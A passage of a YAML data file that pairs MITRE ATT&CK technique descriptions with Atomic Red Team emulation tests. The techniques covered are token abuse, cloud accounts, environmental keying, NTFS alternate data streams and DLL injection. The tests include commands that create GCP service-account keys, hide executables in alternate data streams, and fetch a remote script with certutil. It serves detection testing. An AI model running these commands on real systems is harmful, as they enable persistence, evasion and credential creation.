can grant the adversary access to resources of other sites through a malicious application.(Citation: okta)\n\nFor example, with a cloud-based email service, once an OAuth access token is granted to a malicious application, it can potentially gain long-term access to features of the user account if a \"refresh\" token enabling background access is awarded.(Citation: Microsoft Identity Platform Access 2019) With an OAuth access token an adversary can use the user-granted REST API to perform functions such as email searching and contact enumeration.(Citation: Staaldraad Phishing with OAuth 2017)\n\nCompromised access tokens may be used as an initial step in compromising other services. For example, if a token grants access to a victim’s primary email, the adversary may be able to extend access to all other services which the target subscribes by triggering forgotten password routines. In AWS and GCP environments, adversaries can trigger a request for a short-lived access token with the privileges of another user account.(Citation: Google Cloud Service Account Credentials)(Citation: AWS Temporary Security Credentials) The adversary can then use this token to request data or perform actions the original account could not. If permissions for this feature are misconfigured – for example, by allowing all users to request a token for a particular account - an adversary may be able to gain initial access to a Cloud Account or escalate their privileges.(Citation: Rhino Security Labs Enumerating AWS Roles)\n\nDirect API access through a token negates the effectiveness of a second authentication factor and may be immune to intuitive countermeasures like changing passwords. For example, in AWS environments, an adversary who compromises a user’s AWS API credentials may be able to use the `sts:GetFederationToken` API call to create a federated user session, which will have the same permissions as the original user but may persist even if the original user credentials are deactivated.(Citation: Crowdstrike AWS User Federation Persistence) Additionally, access abuse over an API channel can be difficult to detect even from the service provider end, as the access can still align well with a legitimate workflow." kill_chain_phases: - kill_chain_name: mitre-attack phase_name: defense-evasion - kill_chain_name: mitre-attack phase_name: lateral-movement x_mitre_contributors: - Shailesh Tiwary (Indian Army) - Saisha Agrawal, Microsoft Threat Intelligent Center (MSTIC) - Jeff Sakowicz, Microsoft Identity Developer Platform Services (IDPM Services) - Mark Wee - Ian Davila, Tidal Cyber - Dylan Silva, AWS Security - Jack Burns, HubSpot - Blake Strom, Microsoft Threat Intelligence x_mitre_deprecated: false x_mitre_detection: 'Monitor access token activity for abnormal use and permissions granted to unusual or suspicious applications and APIs. Additionally, administrators should review logs for calls to the AWS Security Token Service (STS) and usage of GCP service accounts in order to identify anomalous actions.(Citation: AWS Logging IAM Calls)(Citation: GCP Monitoring Service Account Usage)' x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_platforms: - Office 365 - SaaS - Google Workspace - Containers - IaaS - Azure AD x_mitre_version: '1.6' x_mitre_data_sources: - 'Web Credential: Web Credential Usage' x_mitre_defense_bypassed: - System Access Controls type: attack-pattern id: attack-pattern--f005e783-57d4-4837-88ad-dbe7faee1c51 created: '2020-01-30T17:37:22.261Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1550/001 external_id: T1550.001 - source_name: Crowdstrike AWS User Federation Persistence description: " Vaishnav Murthy and Joel Eng. (2023, January 30). How Adversaries Can Persist with AWS User Federation. Retrieved March 10, 2023." url: https://www.crowdstrike.com/blog/how-adversaries-persist-with-aws-user-federation/ - source_name: Auth0 - Why You Should Always Use Access Tokens to Secure APIs Sept 2019 description: Auth0. (n.d.). Why You Should Always Use Access Tokens to Secure APIs. Retrieved September 12, 2019. url: https://auth0.com/blog/why-should-use-accesstokens-to-secure-an-api/ - source_name: AWS Logging IAM Calls description: AWS. (n.d.). Logging IAM and AWS STS API calls with AWS CloudTrail. Retrieved April 1, 2022. url: https://docs.aws.amazon.com/IAM/latest/UserGuide/cloudtrail-integration.html - source_name: AWS Temporary Security Credentials description: AWS. (n.d.). Requesting temporary security credentials. Retrieved April 1, 2022. url: https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_temp_request.html - source_name: Microsoft Identity Platform Access 2019 description: Cai, S., Flores, J., de Guzman, C., et. al.. (2019, August 27). Microsoft identity platform access tokens. Retrieved October 4, 2019. url: https://docs.microsoft.com/en-us/azure/active-directory/develop/access-tokens - source_name: Google Cloud Service Account Credentials description: Google Cloud. (2022, March 31). Creating short-lived service account credentials. Retrieved April 1, 2022. url: https://cloud.google.com/iam/docs/creating-short-lived-service-account-credentials - source_name: GCP Monitoring Service Account Usage description: Google Cloud. (2022, March 31). Monitor usage patterns for service accounts and keys . Retrieved April 1, 2022. url: https://cloud.google.com/iam/docs/service-account-monitoring - source_name: okta description: okta. (n.d.). What Happens If Your JWT Is Stolen?. Retrieved September 12, 2019. url: https://developer.okta.com/blog/2018/06/20/what-happens-if-your-jwt-is-stolen - source_name: Rhino Security Labs Enumerating AWS Roles description: 'Spencer Gietzen. (2018, August 8). Assume the Worst: Enumerating AWS Roles through ‘AssumeRole’. Retrieved April 1, 2022.' url: https://rhinosecuritylabs.com/aws/assume-worst-aws-assume-role-enumeration - source_name: Staaldraad Phishing with OAuth 2017 description: Stalmans, E.. (2017, August 2). Phishing with OAuth and o365/Azure. Retrieved October 4, 2019. url: https://staaldraad.github.io/2017/08/02/o356-phishing-with-oauth/ object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.2.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' atomic_tests: [] T1078.004: technique: modified: '2024-03-29T15:42:13.499Z' name: 'Valid Accounts: Cloud Accounts' description: "Valid accounts in cloud environments may allow adversaries to perform actions to achieve Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Cloud accounts are those created and configured by an organization for use by users, remote support, services, or for administration of resources within a cloud service provider or SaaS application. Cloud Accounts can exist solely in the cloud; alternatively, they may be hybrid-joined between on-premises systems and the cloud through syncing or federation with other identity sources such as Windows Active Directory. (Citation: AWS Identity Federation)(Citation: Google Federating GC)(Citation: Microsoft Deploying AD Federation)\n\nService or user accounts may be targeted by adversaries through [Brute Force](https://attack.mitre.org/techniques/T1110), [Phishing](https://attack.mitre.org/techniques/T1566), or various other means to gain access to the environment. Federated or synced accounts may be a pathway for the adversary to affect both on-premises systems and cloud environments - for example, by leveraging shared credentials to log onto [Remote Services](https://attack.mitre.org/techniques/T1021). High privileged cloud accounts, whether federated, synced, or cloud-only, may also allow pivoting to on-premises environments by leveraging SaaS-based [Software Deployment Tools](https://attack.mitre.org/techniques/T1072) to run commands on hybrid-joined devices.\n\nAn adversary may create long lasting [Additional Cloud Credentials](https://attack.mitre.org/techniques/T1098/001) on a compromised cloud account to maintain persistence in the environment. Such credentials may also be used to bypass security controls such as multi-factor authentication. \n\nCloud accounts may also be able to assume [Temporary Elevated Cloud Access](https://attack.mitre.org/techniques/T1548/005) or other privileges through various means within the environment. Misconfigurations in role assignments or role assumption policies may allow an adversary to use these mechanisms to leverage permissions outside the intended scope of the account. Such over privileged accounts may be used to harvest sensitive data from online storage accounts and databases through [Cloud API](https://attack.mitre.org/techniques/T1059/009) or other methods. \n" kill_chain_phases: - kill_chain_name: mitre-attack phase_name: defense-evasion - kill_chain_name: mitre-attack phase_name: persistence - kill_chain_name: mitre-attack phase_name: privilege-escalation - kill_chain_name: mitre-attack phase_name: initial-access x_mitre_contributors: - Jon Sternstein, Stern Security x_mitre_deprecated: false x_mitre_detection: Monitor the activity of cloud accounts to detect abnormal or malicious behavior, such as accessing information outside of the normal function of the account or account usage at atypical hours. x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_platforms: - Azure AD - Office 365 - SaaS - IaaS - Google Workspace x_mitre_version: '1.7' x_mitre_data_sources: - 'User Account: User Account Authentication' - 'Logon Session: Logon Session Metadata' - 'Logon Session: Logon Session Creation' x_mitre_permissions_required: - User - Administrator type: attack-pattern id: attack-pattern--f232fa7a-025c-4d43-abc7-318e81a73d65 created: '2020-03-13T20:36:57.378Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1078/004 external_id: T1078.004 - source_name: AWS Identity Federation description: Amazon. (n.d.). Identity Federation in AWS. Retrieved March 13, 2020. url: https://aws.amazon.com/identity/federation/ - source_name: Google Federating GC description: Google. (n.d.). Federating Google Cloud with Active Directory. Retrieved March 13, 2020. url: https://cloud.google.com/solutions/federating-gcp-with-active-directory-introduction - source_name: Microsoft Deploying AD Federation description: Microsoft. (n.d.). Deploying Active Directory Federation Services in Azure. Retrieved March 13, 2020. url: https://docs.microsoft.com/en-us/windows-server/identity/ad-fs/deployment/how-to-connect-fed-azure-adfs object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.2.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1078.004 atomic_tests: - name: Creating GCP Service Account and Service Account Key auto_generated_guid: 9fdd83fd-bd53-46e5-a716-9dec89c8ae8e description: 'GCP Service Accounts can be used to gain intial access as well as maintain persistence inside Google Cloud. ' supported_platforms: - google-workspace - iaas:gcp input_arguments: project-id: description: ID of the project, you want to create service account as well as service account key for type: string default: art-project-1 service-account-name: description: Name of the service account type: string default: gcp-art-service-account-1 service-account-email: description: Email of the service account type: string default: gcp-art-service-account-1@art-project-1.iam.gserviceaccount.com output-key-file: description: Email of the service account type: string default: gcp-art-service-account-1.json executor: name: sh elevation_required: false command: | gcloud config set project #{project-id} gcloud iam service-accounts create #{service-account-name} gcloud iam service-accounts keys create #{output-key-file} --iam-account=#{service-account-email} cleanup_command: 'gcloud iam service-accounts delete #{service-account-email} --quiet ' dependency_executor_name: sh dependencies: - description: 'Requires gcloud ' prereq_command: 'if [ -x "$(command -v gcloud)" ]; then exit 0; else exit 1; fi; ' get_prereq_command: 'echo "Please Install Google Cloud SDK before running this atomic test : https://cloud.google.com/sdk/docs/install" ' - description: "Check if user is logged in \n" prereq_command: 'gcloud config get-value account ' get_prereq_command: 'gcloud auth login --no-launch-browser ' - name: Azure Persistence Automation Runbook Created or Modified auto_generated_guid: 348f4d14-4bd3-4f6b-bd8a-61237f78b3ac description: | Identifies when an Azure Automation runbook is created or modified. An adversary may create or modify an Azure Automation runbook to execute malicious code and maintain persistence in their target's environment. supported_platforms: - iaas:azure input_arguments: username: description: Azure username type: string default: password: description: Azure password type: string default: resource_group: description: Name of the resource group type: string default: runbook_name: description: Name of the runbook name type: string default: automation_account_name: description: Name of the automation account name type: string default: dependency_executor_name: powershell dependencies: - description: 'Check if terraform is installed. ' prereq_command: 'terraform version ' get_prereq_command: 'echo Please install terraform. ' - description: 'Install-Module -Name Az ' prereq_command: 'try {if (Get-InstalledModule -Name Az -ErrorAction SilentlyContinue) {exit 0} else {exit 1}} catch {exit 1} ' get_prereq_command: 'Install-Module -Name Az -Scope CurrentUser -Force ' - description: 'Check if the user is logged into Azure. ' prereq_command: 'az account show ' get_prereq_command: "echo Configure your Azure account using: az login. \n" - description: 'Create dependency resources using terraform ' prereq_command: 'try {if (Test-Path "$PathToAtomicsFolder/T1078.004/src/T1078.004-2/terraform.tfstate" ){ exit 0 } else {exit 1}} catch {exit 1} ' get_prereq_command: | cd "$PathToAtomicsFolder/T1078.004/src/T1078.004-2/" terraform init terraform apply -auto-approve executor: command: | $secure_pwd = "#{password}" | ConvertTo-SecureString -AsPlainText -Force $creds = New-Object System.Management.Automation.PSCredential -ArgumentList "#{username}", $secure_pwd Connect-AzAccount -Credential $creds New-AzAutomationRunbook -Name #{runbook_name} -Type PowerShell -ResourceGroupName #{resource_group} -Description 'my-test-runbook' -AutomationAccountName #{automation_account_name} name: powershell elevation_required: false cleanup_command: | Remove-AzAutomationRunbook -AutomationAccountName #{automation_account_name} -Name #{runbook_name} -ResourceGroupName #{resource_group} -Force cd "$PathToAtomicsFolder/T1078.004/src/T1078.004-2/" terraform destroy -auto-approve - name: GCP - Create Custom IAM Role auto_generated_guid: 3a159042-69e6-4398-9a69-3308a4841c85 description: "This atomic will create a new IAM role. The default role permissions are: *IAM Service Account Get*. The idea for this Atomic came from a Rule published by the Elastic team.\n\nIdentifies an Identity and Access Management (IAM) custom role creation in Google Cloud Platform (GCP). \nCustom roles are user-defined, and allow for the bundling of one or more supported permissions to meet specific needs. \nCustom roles will not be updated automatically and could lead to privilege creep if not carefully scrutinized.\n\nThis atomic will create a new IAM role. The default role permissions are: *IAM Service Account Get*\n\nReference: https://github.com/elastic/detection-rules/blob/main/rules/integrations/gcp/initial_access_gcp_iam_custom_role_creation.toml\n" supported_platforms: - iaas:gcp input_arguments: project-id: description: ID of the GCP Project you to execute the command against. type: string default: atomic-test-1 role-name: description: The name of the role to be created. type: string default: AtomicRedTeamRole role-description: description: The description of the role to be created. type: string default: Atomic Red Team Custom IAM Role roles: description: List of roles to be applied type: string default: iam.serviceAccounts.get executor: name: sh elevation_required: false command: | gcloud config set project #{project-id} gcloud iam roles create #{role-name} --description="#{role-description}" --permissions=#{roles} --project=#{project-id} cleanup_command: 'gcloud iam roles delete #{role-name} --project=#{project-id} ' dependency_executor_name: sh dependencies: - description: 'Requires gcloud ' prereq_command: 'if [ -x "$(command -v gcloud)" ]; then exit 0; else exit 1; fi; ' get_prereq_command: 'echo "Please Install Google Cloud SDK before running this atomic test : https://cloud.google.com/sdk/docs/install" ' - description: "Check if user is logged in \n" prereq_command: 'gcloud config get-value account ' get_prereq_command: 'gcloud auth login --no-launch-browser ' T1480.001: technique: x_mitre_platforms: - Linux - macOS - Windows x_mitre_domains: - enterprise-attack x_mitre_contributors: - Nick Carr, Mandiant object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 type: attack-pattern id: attack-pattern--f244b8dd-af6c-4391-a497-fc03627ce995 created: '2020-06-23T22:28:28.041Z' x_mitre_version: '1.0' external_references: - source_name: mitre-attack external_id: T1480.001 url: https://attack.mitre.org/techniques/T1480/001 - source_name: Proofpoint Router Malvertising url: https://www.proofpoint.com/us/threat-insight/post/home-routers-under-attack-malvertising-windows-android-devices description: Kafeine. (2016, December 13). Home Routers Under Attack via Malvertising on Windows, Android Devices. Retrieved January 16, 2019. - source_name: Kaspersky Gauss Whitepaper url: https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/20134940/kaspersky-lab-gauss.pdf description: 'Kaspersky Lab. (2012, August). Gauss: Abnormal Distribution. Retrieved January 17, 2019.' - source_name: 'Ebowla: Genetic Malware' url: https://github.com/Genetic-Malware/Ebowla/blob/master/Eko_2016_Morrow_Pitts_Master.pdf description: 'Morrow, T., Pitts, J. (2016, October 28). Genetic Malware: Designing Payloads for Specific Targets. Retrieved January 18, 2019.' - source_name: EK Clueless Agents url: https://www.schneier.com/academic/paperfiles/paper-clueless-agents.pdf description: Riordan, J., Schneier, B. (1998, June 18). Environmental Key Generation towards Clueless Agents. Retrieved January 18, 2019. - source_name: EK Impeding Malware Analysis url: https://pdfs.semanticscholar.org/2721/3d206bc3c1e8c229fb4820b6af09e7f975da.pdf description: Song, C., et al. (2012, August 7). Impeding Automated Malware Analysis with Environment-sensitive Malware. Retrieved January 18, 2019. - source_name: Demiguise Guardrail Router Logo url: https://github.com/nccgroup/demiguise/blob/master/examples/virginkey.js description: 'Warren, R. (2017, August 2). Demiguise: virginkey.js. Retrieved January 17, 2019.' - source_name: Environmental Keyed HTA url: https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2017/august/smuggling-hta-files-in-internet-exploreredge/ description: Warren, R. (2017, August 8). Smuggling HTA files in Internet Explorer/Edge. Retrieved January 16, 2019. x_mitre_deprecated: false revoked: false description: |- Adversaries may environmentally key payloads or other features of malware to evade defenses and constraint execution to a specific target environment. Environmental keying uses cryptography to constrain execution or actions based on adversary supplied environment specific conditions that are expected to be present on the target. Environmental keying is an implementation of [Execution Guardrails](https://attack.mitre.org/techniques/T1480) that utilizes cryptographic techniques for deriving encryption/decryption keys from specific types of values in a given computing environment.(Citation: EK Clueless Agents) Values can be derived from target-specific elements and used to generate a decryption key for an encrypted payload. Target-specific values can be derived from specific network shares, physical devices, software/software versions, files, joined AD domains, system time, and local/external IP addresses.(Citation: Kaspersky Gauss Whitepaper)(Citation: Proofpoint Router Malvertising)(Citation: EK Impeding Malware Analysis)(Citation: Environmental Keyed HTA)(Citation: Ebowla: Genetic Malware) By generating the decryption keys from target-specific environmental values, environmental keying can make sandbox detection, anti-virus detection, crowdsourcing of information, and reverse engineering difficult.(Citation: Kaspersky Gauss Whitepaper)(Citation: Ebowla: Genetic Malware) These difficulties can slow down the incident response process and help adversaries hide their tactics, techniques, and procedures (TTPs). Similar to [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027), adversaries may use environmental keying to help protect their TTPs and evade detection. Environmental keying may be used to deliver an encrypted payload to the target that will use target-specific values to decrypt the payload before execution.(Citation: Kaspersky Gauss Whitepaper)(Citation: EK Impeding Malware Analysis)(Citation: Environmental Keyed HTA)(Citation: Ebowla: Genetic Malware)(Citation: Demiguise Guardrail Router Logo) By utilizing target-specific values to decrypt the payload the adversary can avoid packaging the decryption key with the payload or sending it over a potentially monitored network connection. Depending on the technique for gathering target-specific values, reverse engineering of the encrypted payload can be exceptionally difficult.(Citation: Kaspersky Gauss Whitepaper) This can be used to prevent exposure of capabilities in environments that are not intended to be compromised or operated within. Like other [Execution Guardrails](https://attack.mitre.org/techniques/T1480), environmental keying can be used to prevent exposure of capabilities in environments that are not intended to be compromised or operated within. This activity is distinct from typical [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497). While use of [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) may involve checking for known sandbox values and continuing with execution only if there is no match, the use of environmental keying will involve checking for an expected target-specific value that must match for decryption and subsequent execution to be successful. modified: '2022-05-24T14:00:00.188Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 name: Environmental Keying x_mitre_detection: Detecting the use of environmental keying may be difficult depending on the implementation. Monitoring for suspicious processes being spawned that gather a variety of system information or perform other forms of [Discovery](https://attack.mitre.org/tactics/TA0007), especially in a short period of time, may aid in detection. kill_chain_phases: - kill_chain_name: mitre-attack phase_name: defense-evasion x_mitre_is_subtechnique: true x_mitre_data_sources: - 'Process: Process Creation' - 'Command: Command Execution' x_mitre_defense_bypassed: - Anti-virus - Host Forensic Analysis - Signature-based Detection - Static File Analysis x_mitre_attack_spec_version: 2.1.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' atomic_tests: [] T1564.004: technique: modified: '2024-02-14T21:56:34.831Z' name: 'Hide Artifacts: NTFS File Attributes' description: |- Adversaries may use NTFS file attributes to hide their malicious data in order to evade detection. Every New Technology File System (NTFS) formatted partition contains a Master File Table (MFT) that maintains a record for every file/directory on the partition. (Citation: SpectorOps Host-Based Jul 2017) Within MFT entries are file attributes, (Citation: Microsoft NTFS File Attributes Aug 2010) such as Extended Attributes (EA) and Data [known as Alternate Data Streams (ADSs) when more than one Data attribute is present], that can be used to store arbitrary data (and even complete files). (Citation: SpectorOps Host-Based Jul 2017) (Citation: Microsoft File Streams) (Citation: MalwareBytes ADS July 2015) (Citation: Microsoft ADS Mar 2014) Adversaries may store malicious data or binaries in file attribute metadata instead of directly in files. This may be done to evade some defenses, such as static indicator scanning tools and anti-virus. (Citation: Journey into IR ZeroAccess NTFS EA) (Citation: MalwareBytes ADS July 2015) kill_chain_phases: - kill_chain_name: mitre-attack phase_name: defense-evasion x_mitre_contributors: - Oddvar Moe, @oddvarmoe - Red Canary x_mitre_deprecated: false x_mitre_detection: |- Forensic techniques exist to identify information stored in NTFS EA. (Citation: Journey into IR ZeroAccess NTFS EA) Monitor calls to the ZwSetEaFile and ZwQueryEaFile Windows API functions as well as binaries used to interact with EA, (Citation: Oddvar Moe ADS1 Jan 2018) (Citation: Oddvar Moe ADS2 Apr 2018) and consider regularly scanning for the presence of modified information. (Citation: SpectorOps Host-Based Jul 2017) There are many ways to create and interact with ADSs using Windows utilities. Monitor for operations (execution, copies, etc.) with file names that contain colons. This syntax (ex: file.ext:ads[.ext]) is commonly associated with ADSs. (Citation: Microsoft ADS Mar 2014) (Citation: Oddvar Moe ADS1 Jan 2018) (Citation: Oddvar Moe ADS2 Apr 2018) For a more exhaustive list of utilities that can be used to execute and create ADSs, see https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f. The Streams tool of Sysinternals can be used to uncover files with ADSs. The dir /r command can also be used to display ADSs. (Citation: Symantec ADS May 2009) Many PowerShell commands (such as Get-Item, Set-Item, Remove-Item, and Get-ChildItem) can also accept a -stream parameter to interact with ADSs. (Citation: MalwareBytes ADS July 2015) (Citation: Microsoft ADS Mar 2014) x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_platforms: - Windows x_mitre_version: '1.1' x_mitre_data_sources: - 'Command: Command Execution' - 'File: File Modification' - 'Process: Process Creation' - 'File: File Metadata' - 'Process: OS API Execution' x_mitre_defense_bypassed: - Anti-virus - Host forensic analysis - Signature-based detection x_mitre_system_requirements: - NTFS partitioned hard drive type: attack-pattern id: attack-pattern--f2857333-11d4-45bf-b064-2c28d8525be5 created: '2020-03-13T20:33:00.009Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1564/004 external_id: T1564.004 - source_name: MalwareBytes ADS July 2015 description: Arntz, P. (2015, July 22). Introduction to Alternate Data Streams. Retrieved March 21, 2018. url: https://blog.malwarebytes.com/101/2015/07/introduction-to-alternate-data-streams/ - source_name: SpectorOps Host-Based Jul 2017 description: Atkinson, J. (2017, July 18). Host-based Threat Modeling & Indicator Design. Retrieved March 21, 2018. url: https://posts.specterops.io/host-based-threat-modeling-indicator-design-a9dbbb53d5ea - source_name: Journey into IR ZeroAccess NTFS EA description: Harrell, C. (2012, December 11). Extracting ZeroAccess from NTFS Extended Attributes. Retrieved June 3, 2016. url: http://journeyintoir.blogspot.com/2012/12/extracting-zeroaccess-from-ntfs.html - source_name: Microsoft NTFS File Attributes Aug 2010 description: Hughes, J. (2010, August 25). NTFS File Attributes. Retrieved March 21, 2018. url: https://blogs.technet.microsoft.com/askcore/2010/08/25/ntfs-file-attributes/ - source_name: Microsoft ADS Mar 2014 description: Marlin, J. (2013, March 24). Alternate Data Streams in NTFS. Retrieved March 21, 2018. url: https://blogs.technet.microsoft.com/askcore/2013/03/24/alternate-data-streams-in-ntfs/ - source_name: Microsoft File Streams description: Microsoft. (n.d.). File Streams. Retrieved December 2, 2014. url: http://msdn.microsoft.com/en-us/library/aa364404 - source_name: Oddvar Moe ADS2 Apr 2018 description: Moe, O. (2018, April 11). Putting Data in Alternate Data Streams and How to Execute It - Part 2. Retrieved June 30, 2018. url: https://oddvar.moe/2018/04/11/putting-data-in-alternate-data-streams-and-how-to-execute-it-part-2/ - source_name: Oddvar Moe ADS1 Jan 2018 description: Moe, O. (2018, January 14). Putting Data in Alternate Data Streams and How to Execute It. Retrieved June 30, 2018. url: https://oddvar.moe/2018/01/14/putting-data-in-alternate-data-streams-and-how-to-execute-it/ - source_name: Symantec ADS May 2009 description: Pravs. (2009, May 25). What you need to know about alternate data streams in windows? Is your Data secure? Can you restore that?. Retrieved March 21, 2018. url: https://www.symantec.com/connect/articles/what-you-need-know-about-alternate-data-streams-windows-your-data-secure-can-you-restore object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.2.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1564.004 atomic_tests: - name: Alternate Data Streams (ADS) auto_generated_guid: 8822c3b0-d9f9-4daf-a043-49f4602364f4 description: | Execute from Alternate Streams [Reference - 1](https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f) [Reference - 2](https://oddvar.moe/2018/01/14/putting-data-in-alternate-data-streams-and-how-to-execute-it/) supported_platforms: - windows input_arguments: path: description: Path of ADS file type: path default: c:\ADS\ executor: command: "type C:\\temp\\evil.exe > \"C:\\Program Files (x86)\\TeamViewer\\TeamViewer12_Logfile.log:evil.exe\"\nextrac32 #{path}\\procexp.cab #{path}\\file.txt:procexp.exe\nfindstr /V /L W3AllLov3DonaldTrump #{path}\\procexp.exe > #{path}\\file.txt:procexp.exe\ncertutil.exe -urlcache -split -f https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1564.004/src/test.ps1 c:\\temp:ttt\nmakecab #{path}\\autoruns.exe #{path}\\cabtest.txt:autoruns.cab\nprint /D:#{path}\\file.txt:autoruns.exe #{path}\\Autoruns.exe\nreg export HKLM\\SOFTWARE\\Microsoft\\Evilreg #{path}\\file.txt:evilreg.reg\nregedit /E #{path}\\file.txt:regfile.reg HKEY_CURRENT_USER\\MyCustomRegKey\nexpand \\\\webdav\\folder\\file.bat #{path}\\file.txt:file.bat\nesentutl.exe /y #{path}\\autoruns.exe /d #{path}\\file.txt:autoruns.exe /o \n" name: command_prompt elevation_required: true - name: Store file in Alternate Data Stream (ADS) auto_generated_guid: 2ab75061-f5d5-4c1a-b666-ba2a50df5b02 description: | Storing files in Alternate Data Stream (ADS) similar to Astaroth malware. Upon execution cmd will run and attempt to launch desktop.ini. No windows remain open after the test supported_platforms: - windows input_arguments: payload_path: description: Path of file to hide in ADS type: path default: c:\windows\system32\cmd.exe ads_file_path: description: Path of file to create an ADS under type: path default: C:\Users\Public\Libraries\yanki\desktop.ini ads_name: description: Name of ADS type: string default: desktop.ini executor: command: | if (!(Test-Path C:\Users\Public\Libraries\yanki -PathType Container)) { New-Item -ItemType Directory -Force -Path C:\Users\Public\Libraries\yanki } Start-Process -FilePath "$env:comspec" -ArgumentList "/c,type,#{payload_path},>,`"#{ads_file_path}:#{ads_name}`"" cleanup_command: 'Remove-Item "#{ads_file_path}" -Force -ErrorAction Ignore ' name: powershell - name: Create ADS command prompt auto_generated_guid: 17e7637a-ddaf-4a82-8622-377e20de8fdb description: | Create an Alternate Data Stream with the command prompt. Write access is required. Upon execution, run "dir /a-d /s /r | find ":$DATA"" in the %temp% folder to view that the alternate data stream exists. To view the data in the alternate data stream, run "notepad T1564.004_has_ads.txt:adstest.txt" supported_platforms: - windows input_arguments: file_name: description: File name of file to create ADS on. type: string default: "%temp%\\T1564.004_has_ads_cmd.txt" ads_filename: description: Name of ADS. type: string default: adstest.txt executor: command: | echo cmd /c echo "Shell code execution."> #{file_name}:#{ads_filename} for /f "usebackq delims=?" %i in (#{file_name}:#{ads_filename}) do %i cleanup_command: 'del #{file_name} >nul 2>&1 ' name: command_prompt - name: Create ADS PowerShell auto_generated_guid: 0045ea16-ed3c-4d4c-a9ee-15e44d1560d1 description: | Create an Alternate Data Stream with PowerShell. Write access is required. To verify execution, the the command "ls -Recurse | %{ gi $_.Fullname -stream *} | where stream -ne ':$Data' | Select-Object pschildname" in the %temp% direcotry to view all files with hidden data streams. To view the data in the alternate data stream, run "notepad.exe T1564.004_has_ads_powershell.txt:adstest.txt" in the %temp% folder. supported_platforms: - windows input_arguments: file_name: description: File name of file to create ADS on. type: string default: "$env:TEMP\\T1564.004_has_ads_powershell.txt" ads_filename: description: Name of ADS file. type: string default: adstest.txt dependency_executor_name: powershell dependencies: - description: 'The file must exist on disk at specified location (#{file_name}) ' prereq_command: 'if (Test-Path #{file_name}) { exit 0 } else { exit 1 } ' get_prereq_command: 'New-Item -Path #{file_name} | Out-Null ' executor: command: | echo "test" > #{file_name} | set-content -path test.txt -stream #{ads_filename} -value "test" set-content -path #{file_name} -stream #{ads_filename} -value "test2" set-content -path . -stream #{ads_filename} -value "test3" cleanup_command: 'Remove-Item -Path #{file_name} -ErrorAction Ignore ' name: powershell - name: Create Hidden Directory via $index_allocation auto_generated_guid: 3e6791e7-232c-481c-a680-a52f86b83fdf description: "Create an Alternate Data Stream Directory and File with the command prompt. Write access is required. Upon execution, \nrun \"dir /A /Q /R\" in the %temp% folder to view that the alternate data stream folder exists. To view the data in the \nalternate data stream, run \"type %temp%\\...$.......::$index_allocation\\secrets.txt\"\n" supported_platforms: - windows input_arguments: folder_name: description: File name of file to create inside the folder. type: string default: "%temp%\\...$.......::$index_allocation" hidden_filename: description: Name of the files containing the hidden information type: string default: secrets.txt executor: command: | md #{folder_name} echo too many secrets > #{folder_name}\#{hidden_filename} cleanup_command: 'rmdir /S /Q #{folder_name} >nul 2>&1 ' name: command_prompt T1055.001: technique: modified: '2023-08-11T21:34:38.558Z' name: 'Process Injection: Dynamic-link Library Injection' description: "Adversaries may inject dynamic-link libraries (DLLs) into processes in order to evade process-based defenses as well as possibly elevate privileges. DLL injection is a method of executing arbitrary code in the address space of a separate live process. \n\nDLL injection is commonly performed by writing the path to a DLL in the virtual address space of the target process before loading the DLL by invoking a new thread. The write can be performed with native Windows API calls such as VirtualAllocEx and WriteProcessMemory, then invoked with CreateRemoteThread (which calls the LoadLibrary API responsible for loading the DLL). (Citation: Elastic Process Injection July 2017) \n\nVariations of this method such as reflective DLL injection (writing a self-mapping DLL into a process) and memory module (map DLL when writing into process) overcome the address relocation issue as well as the additional APIs to invoke execution (since these methods load and execute the files in memory by manually preforming the function of LoadLibrary).(Citation: Elastic HuntingNMemory June 2017)(Citation: Elastic Process Injection July 2017) \n\nAnother variation of this method, often referred to as Module Stomping/Overloading or DLL Hollowing, may be leveraged to conceal injected code within a process. This method involves loading a legitimate DLL into a remote process then manually overwriting the module's AddressOfEntryPoint before starting a new thread in the target process.(Citation: Module Stomping for Shellcode Injection) This variation allows attackers to hide malicious injected code by potentially backing its execution with a legitimate DLL file on disk.(Citation: Hiding Malicious Code with Module Stomping) \n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via DLL injection may also evade detection from security products since the execution is masked under a legitimate process. " kill_chain_phases: - kill_chain_name: mitre-attack phase_name: defense-evasion - 